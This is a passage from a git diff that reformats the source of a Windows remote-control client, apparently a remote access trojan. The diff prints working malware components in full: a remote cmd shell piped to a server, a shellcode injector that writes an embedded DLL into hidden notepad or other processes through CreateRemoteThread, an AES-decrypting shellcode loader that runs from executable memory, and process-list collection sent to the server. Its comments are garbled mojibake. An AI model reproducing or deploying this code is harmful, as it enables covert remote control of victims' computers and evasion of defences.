NULL, NULL, NULL, TRUE, - NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) - { - CloseHandle(m_hReadPipeHandle); m_hReadPipeHandle = NULL; - CloseHandle(m_hWritePipeHandle); m_hWritePipeHandle = NULL; - CloseHandle(m_hReadPipeShell); m_hReadPipeShell = NULL; - CloseHandle(m_hWritePipeShell); m_hWritePipeShell = NULL; - return; - } + if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, + NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { + CloseHandle(m_hReadPipeHandle); + m_hReadPipeHandle = NULL; + CloseHandle(m_hWritePipeHandle); + m_hWritePipeHandle = NULL; + CloseHandle(m_hReadPipeShell); + m_hReadPipeShell = NULL; + CloseHandle(m_hWritePipeShell); + m_hWritePipeShell = NULL; + return; + } - m_hShellProcessHandle = pi.hProcess; //Cmd̵Ľ̾߳̾ - m_hShellThreadHandle = pi.hThread; + m_hShellProcessHandle = pi.hProcess; //Cmd̵Ľ̾߳̾ + m_hShellThreadHandle = pi.hThread; - BYTE bToken = TOKEN_SHELL_START; - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)&bToken, 1, &mask); + BYTE bToken = TOKEN_SHELL_START; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)&bToken, 1, &mask); - WaitForDialogOpen(); + WaitForDialogOpen(); - m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL); + m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL); } DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) { - unsigned long dwReturn = 0; - char szBuffer[1024] = {0}; - DWORD dwTotal = 0; - CShellManager *This = (CShellManager*)lParam; - while (This->m_bStarting) - { - Sleep(100); - //Ƿ ݵĴСǶ - while (PeekNamedPipe(This->m_hReadPipeHandle, // - szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) - { - //ûݾѭ - if (dwReturn <= 0) - break; - memset(szBuffer, 0, sizeof(szBuffer)); - LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal); - //ȡܵ - ReadFile(This->m_hReadPipeHandle, - szTotalBuffer, dwTotal, &dwReturn, NULL); + unsigned long dwReturn = 0; + char szBuffer[1024] = {0}; + DWORD dwTotal = 0; + CShellManager *This = (CShellManager*)lParam; + while (This->m_bStarting) { + Sleep(100); + //Ƿ ݵĴСǶ + while (PeekNamedPipe(This->m_hReadPipeHandle, // + szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) { + //ûݾѭ + if (dwReturn <= 0) + break; + memset(szBuffer, 0, sizeof(szBuffer)); + LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal); + //ȡܵ + ReadFile(This->m_hReadPipeHandle, + szTotalBuffer, dwTotal, &dwReturn, NULL); #ifdef _DEBUG - Mprintf("===> Input length= %d \n", This->m_nCmdLength); + Mprintf("===> Input length= %d \n", This->m_nCmdLength); #endif - const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength; - int length = int(dwReturn) - This->m_nCmdLength; - if (length > 0) - This->m_ClientObject->Send2Server(pStart, length); + const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength; + int length = int(dwReturn) - This->m_nCmdLength; + if (length > 0) + This->m_ClientObject->Send2Server(pStart, length); - LocalFree(szTotalBuffer); - } - } - CloseHandle(This->m_hThreadRead); - This->m_hThreadRead = NULL; - Mprintf("ReadPipe߳˳\n"); - return 0; + LocalFree(szTotalBuffer); + } + } + CloseHandle(This->m_hThreadRead); + This->m_hThreadRead = NULL; + Mprintf("ReadPipe߳˳\n"); + return 0; } VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { - switch(szBuffer[0]) - { - case COMMAND_NEXT: - { - NotifyDialogIsOpen(); - break; - } - default: - { - m_nCmdLength = (ulLength - 2);// "\r\n" - unsigned long dwReturn = 0; - WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL); - break; - } - } + switch(szBuffer[0]) { + case COMMAND_NEXT: { + NotifyDialogIsOpen(); + break; + } + default: { + m_nCmdLength = (ulLength - 2);// "\r\n" + unsigned long dwReturn = 0; + WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL); + break; + } + } } CShellManager::~CShellManager() { - m_bStarting = FALSE; + m_bStarting = FALSE; - TerminateProcess(m_hShellProcessHandle, 0); //ԼCmd - TerminateThread(m_hShellThreadHandle, 0); //ԼCmd߳ - Sleep(100); + TerminateProcess(m_hShellProcessHandle, 0); //ԼCmd + TerminateThread(m_hShellThreadHandle, 0); //ԼCmd߳ + Sleep(100); - if (m_hReadPipeHandle != NULL) - { - DisconnectNamedPipe(m_hReadPipeHandle); - CloseHandle(m_hReadPipeHandle); - m_hReadPipeHandle = NULL; - } - if (m_hWritePipeHandle != NULL) - { - DisconnectNamedPipe(m_hWritePipeHandle); - CloseHandle(m_hWritePipeHandle); - m_hWritePipeHandle = NULL; - } - if (m_hReadPipeShell != NULL) - { - DisconnectNamedPipe(m_hReadPipeShell); - CloseHandle(m_hReadPipeShell); - m_hReadPipeShell = NULL; - } - if (m_hWritePipeShell != NULL) - { - DisconnectNamedPipe(m_hWritePipeShell); - CloseHandle(m_hWritePipeShell); - m_hWritePipeShell = NULL; - } - while (m_hThreadRead) - { - Sleep(200); // wait for thread to exit - } + if (m_hReadPipeHandle != NULL) { + DisconnectNamedPipe(m_hReadPipeHandle); + CloseHandle(m_hReadPipeHandle); + m_hReadPipeHandle = NULL; + } + if (m_hWritePipeHandle != NULL) { + DisconnectNamedPipe(m_hWritePipeHandle); + CloseHandle(m_hWritePipeHandle); + m_hWritePipeHandle = NULL; + } + if (m_hReadPipeShell != NULL) { + DisconnectNamedPipe(m_hReadPipeShell); + CloseHandle(m_hReadPipeShell); + m_hReadPipeShell = NULL; + } + if (m_hWritePipeShell != NULL) { + DisconnectNamedPipe(m_hWritePipeShell); + CloseHandle(m_hWritePipeShell); + m_hWritePipeShell = NULL; + } + while (m_hThreadRead) { + Sleep(200); // wait for thread to exit + } } diff --git a/client/ShellManager.h b/client/ShellManager.h index 7b57126..ca2a47b 100644 --- a/client/ShellManager.h +++ b/client/ShellManager.h @@ -12,26 +12,26 @@ #include "Manager.h" #include "IOCPClient.h" -class CShellManager : public CManager +class CShellManager : public CManager { public: - CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr); + CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr); - HANDLE m_hReadPipeHandle; - HANDLE m_hWritePipeHandle; - HANDLE m_hReadPipeShell; - HANDLE m_hWritePipeShell; + HANDLE m_hReadPipeHandle; + HANDLE m_hWritePipeHandle; + HANDLE m_hReadPipeShell; + HANDLE m_hWritePipeShell; - virtual ~CShellManager(); - VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + virtual ~CShellManager(); + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - static DWORD WINAPI ReadPipeThread(LPVOID lParam); + static DWORD WINAPI ReadPipeThread(LPVOID lParam); - BOOL m_bStarting; - HANDLE m_hThreadRead; - int m_nCmdLength; //  - HANDLE m_hShellProcessHandle; //Cmd̵Ľ̾߳̾ - HANDLE m_hShellThreadHandle; + BOOL m_bStarting; + HANDLE m_hThreadRead; + int m_nCmdLength; //  + HANDLE m_hShellProcessHandle; //Cmd̵Ľ̾߳̾ + HANDLE m_hShellThreadHandle; }; #endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_) diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h index 48494aa..b4c5b8c 100644 --- a/client/ShellcodeInj.h +++ b/client/ShellcodeInj.h @@ -9,227 +9,228 @@ #include "SCLoader.cpp" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength, - DWORD flags, LPSTR& outBytes, DWORD& outLength); + DWORD flags, LPSTR& outBytes, DWORD& outLength); // A shell code injector. class ShellcodeInj { public: - // Return the process id if inject succeed. - int InjectProcess(const char* processName = nullptr, bool hasPermission=false) { - if (processName) { - auto pid = GetProcessIdByName(processName); - if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false) - return pid; - } - if (hasPermission) { - auto pid = LaunchNotepadWithCurrentToken(); - if (pid) { - return InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pid : 0; - } - } + // Return the process id if inject succeed. + int InjectProcess(const char* processName = nullptr, bool hasPermission=false) + { + if (processName) { + auto pid = GetProcessIdByName(processName); + if (pid ? InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) : false) + return pid; + } + if (hasPermission) { + auto pid = LaunchNotepadWithCurrentToken(); + if (pid) { + return InjectShellcode(pid, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pid : 0; + } + } - PROCESS_INFORMATION pi = {}; - STARTUPINFO si = { sizeof(STARTUPINFO) }; - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; // hide the window - if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - return InjectShellcode(pi.dwProcessId, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pi.dwProcessId : 0; - } - return 0; - } + PROCESS_INFORMATION pi = {}; + STARTUPINFO si = { sizeof(STARTUPINFO) }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // hide the window + if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return InjectShellcode(pi.dwProcessId, (BYTE*)TinyRun_dll, TinyRun_dll_len) ? pi.dwProcessId : 0; + } + return 0; + } private: - DWORD LaunchNotepadWithCurrentToken() { - HANDLE hToken = NULL; + DWORD LaunchNotepadWithCurrentToken() + { + HANDLE hToken = NULL; - // 򿪵ǰ token - if (!OpenProcessToken(GetCurrentProcess(), - TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID, - &hToken)) { - Mprintf("OpenProcessToken failed: %d\n", GetLastError()); - return 0; - } + // 򿪵ǰ token + if (!OpenProcessToken(GetCurrentProcess(), + TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID, + &hToken)) { + Mprintf("OpenProcessToken failed: %d\n", GetLastError()); + return 0; + } - // token - HANDLE hNewToken = NULL; - if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { - Mprintf("DuplicateTokenEx failed: %d\n", GetLastError()); - CloseHandle(hToken); - return 0; - } + // token + HANDLE hNewToken = NULL; + if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { + Mprintf("DuplicateTokenEx failed: %d\n", GetLastError()); + CloseHandle(hToken); + return 0; + } - STARTUPINFOW si = { sizeof(si) }; - PROCESS_INFORMATION pi = {}; - si.dwFlags = STARTF_USESHOWWINDOW; - si.wShowWindow = SW_HIDE; + STARTUPINFOW si = { sizeof(si) }; + PROCESS_INFORMATION pi = {}; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; - // ʹøƺ token notepad - if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe", - NULL, 0, NULL, NULL, &si, &pi)) { - Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError()); - CloseHandle(hToken); - CloseHandle(hNewToken); - return 0; - } + // ʹøƺ token notepad + if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe", + NULL, 0, NULL, NULL, &si, &pi)) { + Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError()); + CloseHandle(hToken); + CloseHandle(hNewToken); + return 0; + } - DWORD dwProcessId = pi.dwProcessId; + DWORD dwProcessId = pi.dwProcessId; - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - CloseHandle(hToken); - CloseHandle(hNewToken); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + CloseHandle(hToken); + CloseHandle(hNewToken); - return dwProcessId; // ӽ ID - } + return dwProcessId; // ӽ ID + } - // Find process id by name. - DWORD GetProcessIdByName(const std::string& procName) { - DWORD pid = 0; - HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnap != INVALID_HANDLE_VALUE) { - PROCESSENTRY32 pe32 = { sizeof(pe32) }; - if (Process32First(hSnap, &pe32)) { - do { - if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) { - pid = pe32.th32ProcessID; - break; - } - } while (Process32Next(hSnap, &pe32)); - } - CloseHandle(hSnap); - } - return pid; - } + // Find process id by name. + DWORD GetProcessIdByName(const std::string& procName) + { + DWORD pid = 0; + HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnap != INVALID_HANDLE_VALUE) { + PROCESSENTRY32 pe32 = { sizeof(pe32) }; + if (Process32First(hSnap, &pe32)) { + do { + if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) { + pid = pe32.th32ProcessID; + break; + } + } while (Process32Next(hSnap, &pe32)); + } + CloseHandle(hSnap); + } + return pid; + } - // Check if the process is 64bit. - bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit) - { - BOOL bWow64 = FALSE; - typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*); - HMODULE hKernel = GetModuleHandleA("kernel32.dll"); + // Check if the process is 64bit. + bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit) + { + BOOL bWow64 = FALSE; + typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*); + HMODULE hKernel = GetModuleHandleA("kernel32.dll"); - LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ? - (LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr; + LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ? + (LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr; - if (fnIsWow64Process2) - { - USHORT processMachine = 0, nativeMachine = 0; - if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) - { - is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64); - return true; - } - } - else - { - // Old system use IsWow64Process - if (IsWow64Process(hProcess, &bWow64)) - { - is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64; - return true; - } - } - return false; - } + if (fnIsWow64Process2) { + USHORT processMachine = 0, nativeMachine = 0; + if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) { + is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64); + return true; + } + } else { + // Old system use IsWow64Process + if (IsWow64Process(hProcess, &bWow64)) { + is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64; + return true; + } + } + return false; + } - // Check if it's able to inject. - HANDLE CheckProcess(DWORD pid) { - HANDLE hProcess = OpenProcess( - PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, - FALSE, pid); - if (!hProcess) { - Mprintf("OpenProcess failed. PID: %d\n", pid); - return nullptr; - } + // Check if it's able to inject. + HANDLE CheckProcess(DWORD pid) + { + HANDLE hProcess = OpenProcess( + PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, + FALSE, pid); + if (!hProcess) { + Mprintf("OpenProcess failed. PID: %d\n", pid); + return nullptr; + } - // Check process and system architecture. - BOOL targetIs64Bit = FALSE; - BOOL success = IsProcess64Bit(hProcess, targetIs64Bit); - if (!success) { - Mprintf("Get architecture failed \n"); - CloseHandle(hProcess); - return nullptr; - } - const BOOL selfIs64Bit = sizeof(void*) == 8; - if (selfIs64Bit != targetIs64Bit) { - Mprintf("[Unable inject] Injector is %s, Target process is %s\n", - (selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit")); - CloseHandle(hProcess); - return nullptr; - } - return hProcess; - } + // Check process and system architecture. + BOOL targetIs64Bit = FALSE; + BOOL success = IsProcess64Bit(hProcess, targetIs64Bit); + if (!success) { + Mprintf("Get architecture failed \n"); + CloseHandle(hProcess); + return nullptr; + } + const BOOL selfIs64Bit = sizeof(void*) == 8; + if (selfIs64Bit != targetIs64Bit) { + Mprintf("[Unable inject] Injector is %s, Target process is %s\n", + (selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit")); + CloseHandle(hProcess); + return nullptr; + } + return hProcess; + } - bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) { - if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') { - LPSTR finalShellcode = NULL; - DWORD finalSize; - if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) { - return false; - } - compressedBuffer = new BYTE[finalSize]; - ulTotalSize = finalSize; + bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) + { + if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') { + LPSTR finalShellcode = NULL; + DWORD finalSize; + if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) { + return false; + } + compressedBuffer = new BYTE[finalSize]; + ulTotalSize = finalSize; - memcpy(compressedBuffer, finalShellcode, finalSize); - free(finalShellcode); + memcpy(compressedBuffer, finalShellcode, finalSize); + free(finalShellcode); - return true; - } - return false; - } + return true; + } + return false; + } - // Inject shell code to target process. - bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) { - HANDLE hProcess = CheckProcess(pid); - if (!hProcess) - return false; + // Inject shell code to target process. + bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) + { + HANDLE hProcess = CheckProcess(pid); + if (!hProcess) + return false; - // Convert DLL -> Shell code. - LPBYTE shellcode = NULL; - int len = 0; - if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) { - Mprintf("MakeShellcode failed \n"); - CloseHandle(hProcess); - return false; - } + // Convert DLL -> Shell code. + LPBYTE shellcode = NULL; + int len = 0; + if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) { + Mprintf("MakeShellcode failed \n"); + CloseHandle(hProcess); + return false; + } - LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (!remoteBuffer) { - Mprintf("VirtualAllocEx failed \n"); - CloseHandle(hProcess); - return false; - } + LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!remoteBuffer) { + Mprintf("VirtualAllocEx failed \n"); + CloseHandle(hProcess); + return false; + } - if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) { - Mprintf("WriteProcessMemory failed \n"); - VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); - CloseHandle(hProcess); - delete[] shellcode; - return false; - } - delete[] shellcode; + if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) { + Mprintf("WriteProcessMemory failed \n"); + VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); + CloseHandle(hProcess); + delete[] shellcode; + return false; + } + delete[] shellcode; - // Shell code entry. - LPTHREAD_START_ROUTINE entry = reinterpret_cast(reinterpret_cast(remoteBuffer)); + // Shell code entry. + LPTHREAD_START_ROUTINE entry = reinterpret_cast(reinterpret_cast(remoteBuffer)); - HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr); - if (!hThread) { - Mprintf("CreateRemoteThread failed \n"); - VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); - CloseHandle(hProcess); - return false; - } + HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr); + if (!hThread) { + Mprintf("CreateRemoteThread failed \n"); + VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); + CloseHandle(hProcess); + return false; + } - WaitForSingleObject(hThread, INFINITE); + WaitForSingleObject(hThread, INFINITE); - Mprintf("Finish injecting to PID: %d\n", pid); + Mprintf("Finish injecting to PID: %d\n", pid); - VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); - CloseHandle(hThread); - CloseHandle(hProcess); + VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); + CloseHandle(hThread); + CloseHandle(hProcess); - return true; - } + return true; + } }; diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c index 7cd3e14..cff56bf 100644 --- a/client/SimpleSCLoader.c +++ b/client/SimpleSCLoader.c @@ -2,31 +2,33 @@ #include #include "../common/aes.h" -struct -{ - unsigned char aes_key[16]; - unsigned char aes_iv[16]; - unsigned char data[4*1024*1024]; - int len; +struct { + unsigned char aes_key[16]; + unsigned char aes_iv[16]; + unsigned char data[4*1024*1024]; + int len; } sc = { "Hello, World!" }; // A simple shell code loader. // Copy left (c) yuanyuanxiang. -int main() { - if (!sc.data[0] || !sc.len) - return -1; +int main() +{ + if (!sc.data[0] || !sc.len) + return -1; - for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); printf("\n\n"); - for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); printf("\n\n"); + for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_key[i]); + printf("\n\n"); + for (int i = 0; i < 16; ++i) printf("%d ", sc.aes_iv[i]); + printf("\n\n"); - struct AES_ctx ctx; - AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv); - AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len); - void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (exec) { - memcpy(exec, sc.data, sc.len); - ((void(*)())exec)(); - Sleep(INFINITE); - } - return 0; + struct AES_ctx ctx; + AES_init_ctx_iv(&ctx, sc.aes_key, sc.aes_iv); + AES_CBC_decrypt_buffer(&ctx, sc.data, sc.len); + void* exec = VirtualAlloc(NULL, sc.len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (exec) { + memcpy(exec, sc.data, sc.len); + ((void(*)())exec)(); + Sleep(INFINITE); + } + return 0; } diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 2799136..43be473 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -22,257 +22,241 @@ CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject) { - if (bHow==COMMAND_SYSTEM) - { - // - SendProcessList(); - } - else if (bHow==COMMAND_WSLIST) - { - // - SendWindowsList(); - } + if (bHow==COMMAND_SYSTEM) { + // + SendProcessList(); + } else if (bHow==COMMAND_WSLIST) { + // + SendWindowsList(); + } } VOID CSystemManager::SendProcessList() { - LPBYTE szBuffer = GetProcessList(); //õб - if (szBuffer == NULL) - return; - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); - LocalFree(szBuffer); + LPBYTE szBuffer = GetProcessList(); //õб + if (szBuffer == NULL) + return; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); + LocalFree(szBuffer); - szBuffer = NULL; + szBuffer = NULL; } void CSystemManager::SendWindowsList() { - LPBYTE szBuffer = GetWindowsList(); //õб - if (szBuffer == NULL) - return; - HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); - m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); - LocalFree(szBuffer); + LPBYTE szBuffer = GetWindowsList(); //õб + if (szBuffer == NULL) + return; + HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); + m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask); + LocalFree(szBuffer); } LPBYTE CSystemManager::GetProcessList() { - DebugPrivilege(SE_DEBUG_NAME,TRUE); //ȡȨ + DebugPrivilege(SE_DEBUG_NAME,TRUE); //ȡȨ - HANDLE hProcess = NULL; - HANDLE hSnapshot = NULL; - PROCESSENTRY32 pe32 = {0}; - pe32.dwSize = sizeof(PROCESSENTRY32); - char szProcessFullPath[MAX_PATH] = {0}; - hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); + HANDLE hProcess = NULL; + HANDLE hSnapshot = NULL; + PROCESSENTRY32 pe32 = {0}; + pe32.dwSize = sizeof(PROCESSENTRY32); + char szProcessFullPath[MAX_PATH] = {0}; + hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); - DWORD dwOffset = 0; - DWORD dwLength = 0; - DWORD cbNeeded = 0; - HMODULE hModules = NULL; //еһģľ + DWORD dwOffset = 0; + DWORD dwLength = 0; + DWORD cbNeeded = 0; + HMODULE hModules = NULL; //еһģľ - LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //ʱһ» - if (szBuffer == NULL) - return NULL; - szBuffer[0] = TOKEN_PSLIST; //עͷ - dwOffset = 1; + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //ʱһ» + if (szBuffer == NULL) + return NULL; + szBuffer[0] = TOKEN_PSLIST; //עͷ + dwOffset = 1; - if(Process32First(hSnapshot, &pe32)) //õһ˳жһϵͳǷɹ - { - do - { - //򿪽̲ؾ - hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, - FALSE, pe32.th32ProcessID); //Ŀ - { - //öٵһģҲǵǰ· - EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); - //õ - DWORD dwReturn = GetModuleFileNameEx(hProcess, hModules, - szProcessFullPath, - sizeof(szProcessFullPath)); + if(Process32First(hSnapshot, &pe32)) { //õһ˳жһϵͳǷɹ + do { + //򿪽̲ؾ + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, + FALSE, pe32.th32ProcessID); //Ŀ + { + //öٵһģҲǵǰ· + EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); + //õ + DWORD dwReturn = GetModuleFileNameEx(hProcess, hModules, + szProcessFullPath, + sizeof(szProcessFullPath)); - if (dwReturn==0) - { - strcpy(szProcessFullPath,""); - } + if (dwReturn==0) { + strcpy(szProcessFullPath,""); + } - //ʼռõĻ ǹķ͵ݽṹ - // ˽ռݴС - dwLength = sizeof(DWORD) + - lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2; - // ̫С· - if (LocalSize(szBuffer) < (dwOffset + dwLength)) - szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), - LMEM_ZEROINIT|LMEM_MOVEABLE); + //ʼռõĻ ǹķ͵ݽṹ + // ˽ռݴС + dwLength = sizeof(DWORD) + + lstrlen(pe32.szExeFile) + lstrlen(szProcessFullPath) + 2; + // ̫С· + if (LocalSize(szBuffer) < (dwOffset + dwLength)) + szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), + LMEM_ZEROINIT|LMEM_MOVEABLE); - //memcpy򻺳 ݽṹ - //ID++0++0 - //Ϊַ0 β - memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); - dwOffset += sizeof(DWORD); + //memcpy򻺳 ݽṹ + //ID++0++0 + //Ϊַ0 β + memcpy(szBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); + dwOffset += sizeof(DWORD); - memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); - dwOffset += lstrlen(pe32.szExeFile) + 1; + memcpy(szBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) + 1); + dwOffset += lstrlen(pe32.szExeFile) + 1; - memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1); - dwOffset += lstrlen(szProcessFullPath) + 1; - } - } - while(Process32Next(hSnapshot, &pe32)); //õһ - } + memcpy(szBuffer + dwOffset, szProcessFullPath, lstrlen(szProcessFullPath) + 1); + dwOffset += lstrlen(szProcessFullPath) + 1; + } + } while(Process32Next(hSnapshot, &pe32)); //õһ + } - DebugPrivilege(SE_DEBUG_NAME,FALSE); //ԭȨ - CloseHandle(hSnapshot); //ͷž - return szBuffer; + DebugPrivilege(SE_DEBUG_NAME,FALSE); //ԭȨ + CloseHandle(hSnapshot); //ͷž + return szBuffer; } CSystemManager::~CSystemManager() { - Mprintf("ϵͳ\n"); + 